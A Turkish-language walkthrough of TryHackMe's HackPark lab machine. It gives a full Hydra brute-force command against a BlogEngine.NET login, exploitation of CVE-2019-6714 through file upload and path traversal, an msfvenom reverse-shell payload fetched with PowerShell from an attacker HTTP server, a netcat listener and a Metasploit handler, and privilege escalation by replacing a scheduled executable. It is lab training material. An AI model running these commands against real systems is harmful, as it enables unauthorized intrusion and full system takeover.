Merhaba, bu yazıda Tryhackme’de bulunan HackPark makinesinin çözümünü inceleyeceğiz. Bu çözümde bizden hydra kullanımı, exploit ile sömürme ve remote code execution gibi faliyetler bekleniyor. Bu çözümde kullandığım ip adresi 10.10.102.175 olarak belirlendi.
THM oda linki: https://tryhackme.com/room/hackpark
nmap -A 10.10.102.175 ile tarama yapıldığında 80 ve 3389 portunun açık olduğu görülür.
10.10.102.175 sayfasına gidildiğinde “pennywise” isimli palyaço bulunuyor. Sayfanın kaynak kodunda ya da görselde herhangi bir önemli bilgiye ulaşılmadı.
Login sekmesine gidildiğinde blogengine.net isimli giriş paneli bulundu.
Sayfaya hatalı giriş denemesi yapıldığında ve bu giriş denemesi Inspect Element aracılığıyla incelendiğinde post metodu kullanıldığı bilgisi elde edildi. İsterseniz bu aşamayı burp suite aracını kullanarak daha detaylı olarak görebilirsiniz. Giriş formları GET ve POST metodunu kullanır. GET metotu belirtilen bir kaynaktan veri istemek için kullanılır. POST metotu ise işlenmiş verileri belirtilen bir kaynağa gönderir. Metotlar ile ilgili daha detaylı bilgiye buradan ulaşabilirsiniz.
Post metoduna sağ tıklanıp “Edit and Resend” denilerek alınan hata mesajı daha detaylı görüntülenir.
Login page path: /Account/login.aspx?ReturnURL=/admin/
Request body: VIEWSTATE=u9T1yN9gmfSlqETGhZuWvBAkQa7NnNRoF2gMAQulNBgCwWRm4ogcqyuP2T3m6tuklHfqw8RkS7eWgFaAVsQCpKHkR%2FKQy3qL6%2B7u9tdUEhO%2Fu2VyhMeKNfj1FRzJSNRqMFMSfKIjEDd0LWx8savvmt5FxQiyjAsycdO2RWwz8ZesOMLb&EVENTVALIDATION=ewwkRTA5tfNxq149XUhMvjZv%2FoOT9f8f9sukUTpBVwxBoXMB%2FyXtl1JaARjodkeM%2BlUxncmKzjKkET4GcU%2FGL9JEfKy9qZ4JMNkUAYxrff7IorK4FCinvbR%2BcACl8pSwwK1%2FZqmS6zshuo9JSJ6in88CEs4qDvhPgoBy3ZNp%2Bg6YEOhh&ctl00%24MainContent%24LoginUser%24UserName=me&ctl00%24MainContent%24LoginUser%24Password=me&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
Error message: Login failed
Hydra aracı ile bu hata mesajını kullanarak brute force saldırısı gerçekleştirilebilir. Kullanıcı adının ipucunda “admin” olduğu bilgisi verilmiş. O zaman saldırı paramatresi şu şekilde olacaktır:
hydra -l admin -P rockyou.txt $ip http-post-form “login page path: request body: error message”
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.102.175 http-form-post “/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=yP%2BzZRxWm7TkECRpYR3xwyRQYtrSszztGRNL4Uz9mctXTcwgfc1qtLY75IX1jHp0HBOCW28lEF5tb%2BktOBtj0SvgoywSBQKL7%2FKJZIHtxXUJVmQvNfEY%2Fq8bLMW7GBXwZ2zCppergFAlHYy8GsmMHW5lrR7w5QqkuUN6ltqTthT8QNUGGZSatX%2F%2FoJCgDZ86oPs93zkwRW0MPVsr7NXTrNZ2KfrEPkMX1%2BsztKZ3dsdI2NG0uLiRSaHKhzwJMrF5OvosCFxofyf61XMfVJkZdWOtsLvWCq9EAt7gS%2BIOXntnaLiot0g%2FYn8pbxC%2Bbq3WEvXX3chl2wGEG8ruqZyMgy8%2BejIN0YpW8OuwcW5tV%2FJmHLlT&__EVENTVALIDATION=k0kn6DqmKUOJ%2B6N01uhNQe5F%2BcmhCqbUvlNVFkf%2BJRFXXYWAkhK3vlUrmM2UP%2F5IMDuOe1xqGkRIqurysUyg8t0T2zCDeuwv%2FZPfVcCdBDiWBaG2TFXif8nB8Xp0iAgP56Rd%2FENNzNEj01U7YAYX2f7fvPpsICyxn1r1st8N9aFCrWcQ&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed” ile brute force saldırısı gerçekleştirildiğinde parola “1qaz2wsx” olarak bulundu.
Kullanıcı adı “admin” ve parola “1qaz2wsx” ile giriş yapılıp about sekmesine gidildiğinde blogengine.net giriş panelinin versiyonunun 3.3.6.0 olduğu öğrenildi.
Exploit Database’de BlogEngine 3.3.6.0 aratıldığında CVE-2019-6714 isimli exploit ile karşılaşıldı.
Exploit kodundaki ip adresi, local ip adresiyle değiştirildi ve port kısmına ise dinlemek yapılmak istenen port numarası girildi.
Kodun açıklama kısmında kodun adının ve uzantısının PostView.ascx olarak belirlenmesini istiyor. Tüm bu düzenlemeler yapıldıktan sonra content sekmesinden post paylaşım kısmına gelindikten sonra file upload ikonuna tıklanır ve dosya yüklenir.
Exploit başlatmadan önce nc -nvlp 4444 portunda dinleme başlatılır.
Yine kodun açıklama kısmında yükleme işlemi tamamlandıktan sonra hedef sitede <ip>/?theme=../../App_Data/files
uzantısına gidilerek exploitin çalıştırılması isteniyor.
Böylelikle hedef ile başarılı bir şekilde netcat bağlantısı kuruldu.
whoami komutu ile etkin kullanıcı adının iis apppool\blog olduğu öğrenildi.
systeminfo komutu ile hedef kullanıcı ile ilgili birçok bilgiye elde edilinebilir.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<local ip> LPORT=1234 -f exe -o rshell.exe ile msfvenom aracıyla rshell.exe adlı payload oluşturulur.
python -m SimpleHTTPServer ile hedef makineye rshell.exe adlı payload’ı göndermek için 8000 portunda http protokolü başlatıldı.
cd C:\Windows\Temp ile transfer edilecek klasöre gelinir.
powershell -c “Invoke-WebRequest -Uri ‘http://<local ip>:8000/rshell.exe’ -OutFile ‘c:\windows\temp\rshell.exe'” komutu ile rshell.exe payload’ı transfer edilir.
msfconsole -q ile metasploit başlatılır.
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <local ip>
set LPORT 1234
run komutu ile exploit başlatıldıktan sonra hedef makinede .\rshell.exe ile payload çalıştırılarak meterpreter oturumu sağlanır.
cd C:\Program Files (x86) ile program files klasörüne gidilir.
ps komutu ile çalışmış prosesler görüntülenir. WindowsScheduler genelde saldırganların kalıcılık sağlamak için kullandığı bir servistir. WinPEAS ile tarama yapıldığında WindowsScheduler hizmetinin WService.exe ile sağlanıldığı WScheduler.exe’nin sağladığı herhangi bir hizmet bilgisi görülmüyor. Bu bilgi de WScheduler.exe’yi şüpheli duruma düşürüyor.
SystemScheduler’in log kayıtlarını incelemek için events adlı klasöre gidildi.
cat 20198415519.INI_LOG.txt ile loglara bakıldığında Message.exe’nin admin yetkileriyle çalıştığı görülür.
Daha önce oluşturmuş olan rshell.exe, Message.exe’nin bulunduğu SystemScheduler klasörüne taşınır.
powershell -c “Invoke-WebRequest -Uri ‘http://<local ip>:8000/rshell.exe’ -OutFile ‘c:\Program Files(x86)\SystemScheduler\rshell.exe'”
mv Message.exe Message.bak ile isimlerin aynı olmaması için Message.exe’nin ismi değiştirilir.
mv rshell.exe Message.exe ile rshell.exe, Message.exe olarak isimlendirilir.
run komutu ile exploit yeniden başlatılır.
.\Message.exe ile netcat oturumunda Message.exe olarak isimlendirilen rshell.exe çalıştırılır.
Message.exe admin yetkileriyle çalıştığı için payload bundan böyle admin yetkilerini sahip olacaktır.
Daha sonrasında jeff ve admin desktop’unda bulunan user.txt ve root.txt görüntülenilerek flag’lar bulunur.